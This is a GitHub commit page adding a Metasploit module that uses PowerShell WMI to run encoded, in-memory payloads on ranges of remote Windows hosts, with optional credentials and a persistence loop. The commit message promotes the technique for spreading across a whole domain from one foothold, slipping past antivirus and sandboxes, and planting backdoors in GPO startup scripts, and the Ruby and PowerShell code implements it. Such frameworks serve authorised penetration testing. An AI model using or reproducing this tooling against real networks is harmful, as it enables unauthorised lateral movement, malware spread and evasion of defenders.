Skip to content

Commit 5bd43bf

Browse files
author
RageLtMan
committed
Powershell WMI execution post module
Powerhell provides direct interface to WMI, allowing users in UAC or otherwise restricted context to attain privileged resources via impersonation. Moreover, WMI allows for execution remotely, on any endpoint attainable via DCOM. In practice, this allows foothold on a single domain host to immediately infect every machine accessible via DCOM either from the currently held privileged context (such as a domain administrator) or from a new context generated by entering acquired credentials. Payloads, remote commands, and collection activities can be invoked without direct IP connectivity on a remote host, and output can be collected the same way. Of particular note when implementing this technique is that admin contexts resulting from this form of execution are not encapsulated in UAC, allowing for immediate privesc to system if creating a new session. Old notes show that loopback exec is not stable or usable, though this merits further research as it seems the native way to avoid UAC altogether without any exploitation. As with all the other powershell vectors, this mechanism provides in-memory execution, and in all our testing walks right through the AV currently out there since it has no service executable, on-disk footprint, or even error log from the improper service exit that psexec causes. Sandboxes dont cover powershell - too much runtime entropy and some quite legitimate use of sockets and unmanaged memory marshalling to get a good "guess" of what the code is trying to do. Makes for a great gift left behind in GPO startup scripts or other latent backdoor approaches. Since a script is produced, those with the need and craft can alter the resulting scripts to dynamically enumerate domain hosts meeting their needs for exploitation at runtime, as opposed to the "brute-force" approach used here. ----- Testing: The internal module has been in use for over three years in our fork. Its been instrumental in showing several clients what it means to be "pwned" in 30s flat. This particular version has been slightly altered for upstream consumption and should be tested again by community and developers alike in the upstream branch. Note: Word to the wise on target selection - choose carefully, it is possible to generate more sessions than an L3 pivoted handler can comfortably address, and having a thousand reverse_tcp sessions going past the edge is sure to raise an eyebrow at the SOC.
1 parent ce67533 commit 5bd43bf

File tree

1 file changed

+184
-0
lines changed

1 file changed

+184
-0
lines changed
Lines changed: 184 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,184 @@
1+
# -*- coding: binary -*-
2+
##
3+
# $Id$
4+
##
5+
6+
##
7+
# This file is part of the Metasploit Framework and may be subject to
8+
# redistribution and commercial restrictions. Please see the Metasploit
9+
# Framework web site for more information on licensing and terms of use.
10+
# http://metasploit.com/framework/
11+
##
12+
13+
##
14+
# Ideally the methods to create WMI wrapper functions and their callers
15+
# should be in /lib/msf/core/post/windows/powershell/ps_wmi.rb.
16+
##
17+
18+
require 'msf/core'
19+
require 'msf/core/exploit/powershell/dot_net'
20+
require 'msf/core/post/windows/powershell'
21+
require 'msf/core/post/windows/priv'
22+
23+
class Metasploit3 < Msf::Exploit::Local
24+
Rank = ExcellentRanking
25+
26+
include Msf::Post::Windows::Powershell
27+
include Msf::Exploit::Powershell::DotNet
28+
include Msf::Post::Windows::Priv
29+
30+
def initialize(info={})
31+
super(update_info(info,
32+
'Name' => "Current User WMI Exec Powershell",
33+
'Description' => %q{
34+
This module uses WMI execution to launch a payload instance on a remote machine.
35+
In order to avoid AV detection, all execution is performed in memory via psh-net
36+
encoded payload. Persistence option can be set to keep the payload looping while
37+
a handler is present to receive it. By default the module runs as the current
38+
process owner. The module can be configured with credentials for the remote host
39+
with which to launch the process.
40+
},
41+
'License' => MSF_LICENSE,
42+
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
43+
'DefaultOptions' =>
44+
{
45+
'EXITFUNC' => 'thread',
46+
},
47+
'Payload' => { 'Space' => 8192 },
48+
'Platform' => [ 'windows' ],
49+
'SessionTypes' => [ 'meterpreter' ],
50+
'Targets' => [ [ 'Universal', {} ] ],
51+
'DefaultTarget' => 0,
52+
53+
))
54+
55+
register_options(
56+
[
57+
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
58+
OptString.new('USERNAME', [false, "Username to authenticate as"]),
59+
OptString.new('PASSWORD', [false, "Password to authenticate with"]),
60+
OptString.new('DOMAIN', [false, "Domain or machine name"]),
61+
62+
], self.class)
63+
64+
register_advanced_options(
65+
[
66+
OptBool.new('PERSIST', [false, 'Run the payload in a loop']),
67+
OptBool.new('RUN_REMOTE_WOW64', [
68+
false,
69+
'Execute powershell in 32bit compatibility mode, payloads need native arch',
70+
false
71+
]),
72+
73+
], self.class)
74+
75+
end
76+
77+
def build_script
78+
run_opts = {}
79+
run_opts[:username] = datastore['USERNAME']
80+
run_opts[:domain] = datastore['DOMAIN'] || '.'
81+
run_opts[:password] = datastore['PASSWORD']
82+
83+
# End of file marker
84+
eof = Rex::Text.rand_text_alpha(8)
85+
env_suffix = Rex::Text.rand_text_alpha(8)
86+
87+
# Create base64 encoded payload
88+
psh_payload_raw = Msf::Util::EXE.to_win32pe_psh_reflection(framework, payload.raw)
89+
if datastore['PERSIST']
90+
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
91+
sleep_time = rand(5)+5
92+
psh_payload = "function #{fun_name}{#{psh_payload}};while(1){Start-Sleep -s #{sleep_time};#{fun_name};1}"
93+
end
94+
psh_payload = compress_script(psh_payload_raw, eof)
95+
# WMI exec function - this is going into powershell.rb after pull 701 is commited
96+
script = ps_wmi_exec(run_opts)
97+
# Build WMI exec calls to every host into the script to reduce PS instances
98+
# Need to address arch compat issue here, check powershell.exe arch, check pay arch
99+
# split the hosts into wow64 and native, and run each range separately
100+
ps_bin = datastore['RUN_REMOTE_WOW64'] ? 'cmd /c %windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
101+
# for whatever reason, passing %systemroot% instead of 'C:\windows' fails
102+
103+
if datastore["RHOSTS"]
104+
# Iterate through our hosts list adding a call to the WMI wrapper for each.
105+
# This should learn to differentiate between hosts and call WOW64 as appropriate,
106+
# as well as putting the payload into a variable when many hosts are hit so the
107+
# uploaded script is not bloated since each encoded payload is bulky.
108+
109+
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |host|
110+
if run_opts[:username] and run_opts[:password]
111+
script << " New-RemoteProcess -rhost \"#{host}\" -login \"#{run_opts[:domain]}\\#{run_opts[:username]}\""
112+
script << " -pass '#{run_opts[:password]}' -cmd \"#{ps_bin} -EncodedCommand #{psh_payload}\";"
113+
else
114+
script << " New-RemoteProcess -rhost \"#{host}\" -cmd \"#{ps_bin} -EncodedCommand #{psh_payload}\";"
115+
end
116+
end
117+
else
118+
print_status('Running Locally')
119+
script = psh_payload_raw
120+
end
121+
return script
122+
end
123+
124+
def exploit
125+
126+
# Make sure we meet the requirements before running the script
127+
# Shell sessions can't kill PIDs
128+
if !(session.type == "meterpreter" || have_powershell?)
129+
print_error("Incompatible Environment")
130+
return
131+
end
132+
# SYSTEM doesnt have credentials on remote hosts
133+
if is_system? and datastore['RHOSTS']
134+
print_error("Cannot run as system")
135+
return 0
136+
end
137+
138+
script = build_script
139+
print_good script if datastore['PSH::dry_run']
140+
#
141+
print_good("#{datastore["RHOSTS"] ? psh_exec(script) : psh_exec(script,true,false)}")
142+
print_good('Finished!')
143+
end
144+
145+
# Wrapper function for instantiating a WMI win32_process
146+
# class object in powershell.
147+
# Insantiates the [wmiclass] object and configures the scope
148+
# Sets impersonation level and injects credentials as needed
149+
# Configures application startup options to hide the newly
150+
# created window. Adds start-up check for remote proc.
151+
def ps_wmi_exec(opts = {})
152+
153+
ps_wrapper = <<EOS
154+
Function New-RemoteProcess {
155+
Param([string]$rhost,[string]$cmd,[string]$login,[string]$pass)
156+
$ErrorActionPreference="SilentlyContinue"
157+
$proc = [WMIClass]"\\\\$rhost\\root\\cimv2:Win32_Process"
158+
EOS
159+
if opts[:username] and opts[:password]
160+
ps_wrapper += <<EOS
161+
$proc.psbase.Scope.Options.userName = $login
162+
$proc.psbase.Scope.Options.Password = $pass
163+
EOS
164+
end
165+
ps_wrapper += <<EOS
166+
$proc.psbase.Scope.Options.Impersonation = [System.Management.ImpersonationLevel]::Impersonate
167+
$proc.psbase.Scope.Options.Authentication = [System.Management.AuthenticationLevel]::PacketPrivacy
168+
$startup = [wmiclass]"Win32_ProcessStartup"
169+
$startup.Properties['ShowWindow'].value=$False
170+
$remote = $proc.Create($cmd,'C:\\',$startup)
171+
if ($remote.returnvalue -eq 0) {
172+
Write-Host "Successfully launched on $rhost with a process id of" $remote.processid
173+
} else {
174+
Write-Host "Failed to launch on $rhost. ReturnValue is" $remote.ReturnValue
175+
}
176+
}
177+
178+
EOS
179+
180+
181+
return ps_wrapper
182+
end
183+
184+
end

0 commit comments

Comments
 (0)